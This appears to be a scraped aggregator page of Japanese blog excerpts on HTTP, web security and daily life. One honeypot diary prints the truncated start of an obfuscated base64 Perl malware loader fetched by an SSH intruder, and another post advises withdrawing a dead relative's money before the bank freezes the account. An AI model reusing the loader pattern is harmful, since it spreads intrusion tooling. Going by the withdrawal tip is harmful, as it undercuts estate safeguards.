RFC的に、HTTPヘッダってどんな値を使えるんでしたっけ？のメモ - 小野マトペの納豆ペペロンチーノ日記
Web APIを開発していると、HTTPのヘッダについてRFCにおける規約を確認しなきゃいけない場面がたまにあるので、今回調べたことをまとめた。 HTTP/1.1のRFC HTTP/1.1のRFCといえば、長らくRFC2616であったが、2014年にRFC7230〜7239が発行され、2616は廃止された。 RFC2616 ハイパーテキスト転送プロトコル -- HTTP/1.1 RFC7230〜RFC2739 HTTP/1.1 — RFC 7230 〜 7235 — 日本語訳 両者の変更点については、RFC 723xの付録に記述されているので参照のこと。Content-MD5が廃止されたり、ちょいちょい面白い。文章としても723xの方が分かりやすくなっているので、一度目を通しておくことをお勧めする。 HTTP/1.1 が更新された | The Long Wait あたらしいHTTPの話をし
SSH不正侵入、観察日記
不正アクセスを観測したのでご紹介。 動画を見ていただこう。 なにやら不正ファイルをwgetして実行しようとしてる。 Kippoは、侵入者がwgetしたファイルを、dl ディレクトリに全て格納してくれるので今回は実際に不審なファイルの中身を見てみよう。 中身を覗いてみる。encodeされていたので、見た目では、なにをするものなんかはわからない。 # more dl/20150709223030_http___erixx_altervista_org_new_txt #!/usr/bin/perl use MIME::Base64; eval (decode_base64('IyEvdXNyL2Jpbi9wZXJsDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
HTTP2 時代のサーバサイドアーキテクチャ考察 - Block Rockin’ Codes
update 色々と twitter で議論が起こったのでまとめて貼っておきます。 togetter.com みなさんありがとうございました。 intro HTTP2 の RFC 化も目前ということで、そろそろ実際に HTTP2 を導入していくにあたってサーバサイドの構成についても、具体的にどう変わっていくかという点を考え始めていく必要があります。 そんな話を @koichik さんとしていたら、色々と考えが膨らんだのでメモしておきます。 前提 今回は、中規模のサービスを想定し、特に HTTP2 のサーバプッシュを踏まえた上でのコンテンツ配信などに、どういう構成が考えられるかを考えていきます。 また、本エントリ内では独自に以下の表記を採用します。 HTTP/1.1 = HTTP/1.1 (平文) HTTP/2 = HTTP/2 (平文) HTTPS/1.1 = HTTP/1.1 over
プライバシーモードでもiPhoneでも追跡? エンジニアが知っておくべき「HSTS Super Cookies」 | DevelopersIO
こんにちは、せーのです。 みなさんは数日前から軽く話題になっているクッキーについてご存知でしょうか。その名も「HSTS Super Cookies」と言います。このクッキーは通常のブラウザモードはもちろん、クッキーなどを残さない「プライバシーモード」果ては同一iCloudアカウントのiPhoneまで追跡できる、というではないですかなにそれこわい。 ということで今日はこの「HSTS Super Cookies」とは何者で、どういう仕組みでこうなっているのか、現時点での対応状況をご紹介します。 まずは見てください。 まずは百聞は一件に如かず、ということでこちらを御覧ください。 何か数字と文字が合わさったパスワード的なものが出てきていますでしょうか。これがいわゆる「HSTS Super Cookies」を使用した追跡のデモとなります。 この数字と文字の組み合わせはHSTSという機能を使用してブラ
The internals H2O (or how to write a fast server)
Yesterday, I had the opportunity to speak at the HTTP2Conference held in Tokyo. Until now, I have rather been silent about H2O since I think it is still premature for wild use. But you do not need to worry about such thing in a technology conference, so I happily talked about the motives behind H2O, and its implementation. IMO the talk should be interesting not only to people working with HTTP ser
「ほい、これ」ってファイルを渡せる Hoi というツールをつくった
PC間でのファイル受け渡しのときにファイルサーバを使うことがたまにありますが、OSによってファイルパスやその書式が違ったり、受け渡し用のディレクトリをつくるとか、ファイル渡したいだけなのに、なんだか小さなひっかかりがあってスマートじゃないなあといつも感じてました。 なので、もっと直感的に「ほい、これ」って渡せるツールをつくってみました。 Hoi Hoiはファイルの受け渡しを簡単に行うためのコマンドラインツールです。Go言語で書かれており、HTTPファイルサーバを利用して機能を提供します。 monochromegane/hoi (An easy file transfer tool using http file server.) ファイルを渡す 使い方は簡単でローカルのファイルパスをhoiコマンドの引数に渡すだけです。 そうすると以下のような、ダウンロード用のURLが出力されます。 htt
脆弱性の見つけ方（初心者向け脆弱性検査入門）
WEB系の情報セキュリティ関連の学習メモです。メモなので他情報のポインタだけ、とかの卑怯な記事もあります。 ※2020.9 注記:本ブログの解説記事は内容が古くなっております。OWASP ZAPなどのソフトウェアの解説は現行バージョンの仕様から乖離している可能性があります。 EC-CUBEで脆弱性を見つけたり、mixiの脆弱性報告制度で成果を挙げたりしたせいか、「どうやって脆弱性を見つけてるんですか？」という質問をされることが時折あり、一応手順は説明するのですが、いつも口頭で細かくは説明できなくて申し訳ないので、自分のやり方をまとめてこのブログにアップしておきます。 標準的な脆弱性検査のやり方しか説明していないので、脆弱性検査のやり方を既に把握している人が読んでも得るものは少ないのではないかと思います。今回は脆弱性検査に興味があるが何をどうしたらいいか分からないような初心者向けコンテンツで
言いたいことは置いといて、圧迫面接は論破スキルが問われてるんだぜ。 相..
言いたいことは置いといて、圧迫面接は論破スキルが問われてるんだぜ。 相手のぐぅの根もでないくらい正論で気持ちよく返せ。 そして受かっても辞退しろ。 なぜ、あなたのくらいの評価する実績の無い人が我が社を応募したのですか？ ⇒御社にはちょうどいい人材だと思ったからです！ なぜもっと実績を作ってから我が社を応募しなかったのですか？ ⇒いつ応募するの？今でしょ！ なんで、あなたは我が社の面接を受けているのですか？ ⇒１次面接に来て下さいと御社からメールが届いたからです！
「超チューニング祭 ～ニコニコを超快適にしてみた～ in ニコニコ超会議３」の問題点 - Webパフォーマンスについて
来る2014年4月26日(土)・27日(日)に、「ニコニコ超会議3」が開催され、その中で「超チューニング祭 ～ニコニコを超快適にしてみた～」が開催されるそうです。 これは、現行のスマートフォンサイトのTopページのソースファイルを競技者がチューニングして、速度やデザイン・UIの改善をして、速度と使い勝手を競うのだそうです。 「これは面白そうだ! 会場は家から近いし!」と思って参加するつもりでいましたが、事前調査で計測してみた結果、フロントエンドのチューニングでは速くならないことがわかったので、その内容について説明します。 (主催者の方にも、フロントエンドのチューニングでは速くならないという情報は伝えてあります。) まずは、計測データ まずは実際のトップページ(http://sp.nicovideo.jp)の計測データを見てみましょう。 計測は、NTT DoCoMoとSoftBankの3G回
郵便局の中の人だったけどこれはガチ。口座名義人が死亡したら凍結しないといけないからいくら頼まれても触れなくなるんだよね。で、たまにいるんだよ「うちの人が死んだんだけど下ろ
郵便局の中の人だったけどこれはガチ。 口座名義人が死亡したら凍結しないといけないからいくら頼まれても触れなくなるんだよね。 で、たまにいるんだよ「うちの人が死んだんだけど下ろせますか？」って訊いてくる人。 「下ろせませんよ」って言うんだけど内心（あ～あ、言っちゃったよ。死んでるって言わなきゃ下ろせたのに）って残念な気分になる。 身内が死んだら何にも言わず即引き出せ、絶対言っちゃダメだぞ。 （追記） なんかブクマ見たら「何にも言わず即引き出せ」を「親族や誰にも言わずに一人の独断で引き出せ」と読まれててビックリ。 そんなことやったらそりゃ揉めますがな。 「下ろす金額を親族内で話し合って」「金融機関へは何も言わずに速やかに引き出せ」ですからね？ （追記2） 追記で、そこまで相続人間で話してるなら、別にその分の協議書作って引き出せばいいのでは？ 協議書を作って送り凍結が解除されるまでの間の葬儀代、
話題のパスタ水漬けやったらマジで成功してワロタｗwｗｗ : 稲妻速報
2013年11月08日 話題のパスタ水漬けやったらマジで成功してワロタｗwｗｗ カテゴリ生活 1: 以下、名無しにかわりましてVIPがお送りします 2013/11/07 12:43:54 ID:NT4UnNd+0 パスタを水に1時間以上浸しておく(何時間浸そうが伸びないので就寝前とかに浸してもOK) ↓ 1分で茹で上がる ずっと半信半疑でしたがむしろ普通に茹でるより美味く茹で上がりました 4: 以下、名無しにかわりましてVIPがお送りします 2013/11/07 12:46:17 ID:hY0cONF3i 生パスタに近い食感になるよな 7: 以下、名無しにかわりましてVIPがお送りします 2013/11/07 12:47:11 ID:NT4UnNd+0 漬けてるとパスタが真っ白になって「なんだこれ…」ってなるけど湯に入れた瞬間いつものツヤのある黄色に戻る ちなみに4時間漬けた 柔らかすぎる
HTTPでHashやArrayを送る手法に仕様は存在しない……の? - ただのにっき(2013-09-15)
■ HTTPでHashやArrayを送る手法に仕様は存在しない……の? jQueryでこんなふうに書くと: $.post('/', { hash: { foo: 'hoge', bar: 'fuga'}, array: ['baz', 'piyo'] }); サーバ側でこんなふうに受け取れて(これはSinatra): post '/' do params.each do |key, val| puts "#{key}: #{val} as #{val.class}" end end ちゃんとHashやArrayとしてアクセスできる: hash: {"foo"=>"hoge", "bar"=>"fuga"} as Hash array: ["baz", "piyo"] as Array ああこりゃ便利だね、で済ましてもいいんだけど、HTTP POSTの中身なんてただのバイト列なんだから型の情
VPN Gate に対する外国からの妨害活動と対抗策としてのオープンソース化について | 2013-08-23 - 登 大遊＠筑波大学大学院コンピュータサイエンス専攻の SoftEther VPN 日記
筑波大学での研究として VPN Gate プロジェクト http://www.vpngate.net/ を開始してから、間もなく半年になる。現在 VPN Gate は国ごとのユーザー数リアルタイムランキング http://www.vpngate.net/ja/region.aspx で公開されているように、全世界 198 カ国 (特別行政区等の地域を含む) から利用されており、これまでに 1,226 テラバイトのデータ転送があった。ユーザー登録は不要であるが、ユニークユーザー数をユニーク IP アドレス数から推測すると本日時点で 281 万 9,313 人となっており、世界で最も使用されている VPN 中継システムの 1 つとなりつつある。 VPN Gate プロジェクトは、「検閲用ファイアウォール」がある国からの利用が盛んである。検閲用ファイアウォールといえば、アジアのある国が有名である
いい加減、<script src="http://.. と書くのはやめましょう - DQNEO起業日記
外部サイトのJSファイルを読み込むときに、こういう書き方するのはやめましょう。 <script src="http://example.com/js/jquery.js"></script> 理由 あなたのサイトが、いつの日かSSLに対応することになったとき、そのscriptタグがバグの原因になります。 ご覧のとおり、HTTPSページの中でHTTP要素を読み込もうとすると、ブラウザによっては安全装置が働いて読み込んでくれないのです。 上の例ではjQueryの読み込みに失敗していますが、エラーメッセージ「Uncaught ReferenceError: jQuery is not defined 」を見てもHTTPS/HTTPのプロトコルが原因だとはすぐ気づかないので、わかりにくいバグになってしまいます。 結論 JSファイル(とかCSSとか画像とか)を読み込むときは、"http:"の部分を省
機密情報を含むJSONには X-Content-Type-Options: nosniff をつけるべき - 葉っぱ日記
WebアプリケーションにおいてJSONを用いてブラウザ - サーバ間でデータのやり取りを行うことはもはや普通のことですが、このときJSON内に第三者に漏れては困る機密情報が含まれる場合は、必ず X-Content-Type-Options: nosniff レスポンスヘッダをつけるようにしましょう(むしろ機密情報かどうかに関わらず、全てのコンテンツにつけるほうがよい。関連:X-Content-Type-Options: nosniff つかわないやつは死ねばいいのに! - 葉っぱ日記)。 例えば、機密情報を含む以下のようなJSON配列を返すリソース(http://example.jp/target.json)があったとします。 [ "secret", "data", "is", "here" ] 攻撃者は罠ページを作成し、以下のようにJSON配列をvbscriptとして読み込みます。もちろ
Puppet や Chef で構築したサーバを RSpec でテストする - Gosuke Miyashita
追記 ここに書いてあることを実現する serverspec という gem をつくりました。詳しくはこちらのエントリで。 Puppet マニフェストをリファクタリングするからテスト書くぞ、ってことで、 puppet-lxc-test-box に書いたように、テストするためのシステムコンテナを簡単に作る仕組みをつくったので、今度は実際にテストコードを書くためのベースをつくってみた。 rspec-lxc-test-box こんな感じでテストが書ける。 require 'container_spec_helper' describe 'nrpe' do it { should be_installed } it { should be_enabled } it { should be_running } end describe 'nagios-plugins-all' do it { shou
なぜPHPでrequire("http://...")したらセキュリティホールなのに、Goならいいのか - kazuhoのメモ置き場
go言語なんか import "http://github.com/mattn/xxx " だったりする。rubyもそういうの面白いかもしれない。require "http://github.com/mattn/xxx "みたいな。 mattn on Twitter: "go言語なんか import "http://t.co/9qiwho7OMZ" だったりする。rubyもそういうの面白いかもしれない。require "http://t.co/9qiwho7OMZ"みたいな。" @mattn_jp それコンパイル型言語なら許されるけどスクリプト型だとセキュリティホールとされるものでは？ (e.g. PHP) Kazuho Oku on Twitter: "@mattn_jp それコンパイル型言語なら許されるけどスクリプト型だとセキュリティホールとされるものでは？ (e.g. PHP)" と
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
うだま on Twitter: "ケツにドライヤー当てられた瞬間のうちの猫の顔 http://t.co/17H59vsUFX"
精力がつく“絶倫食材”ＢＥＳＴ１０ : ２ちゃんねる瓦版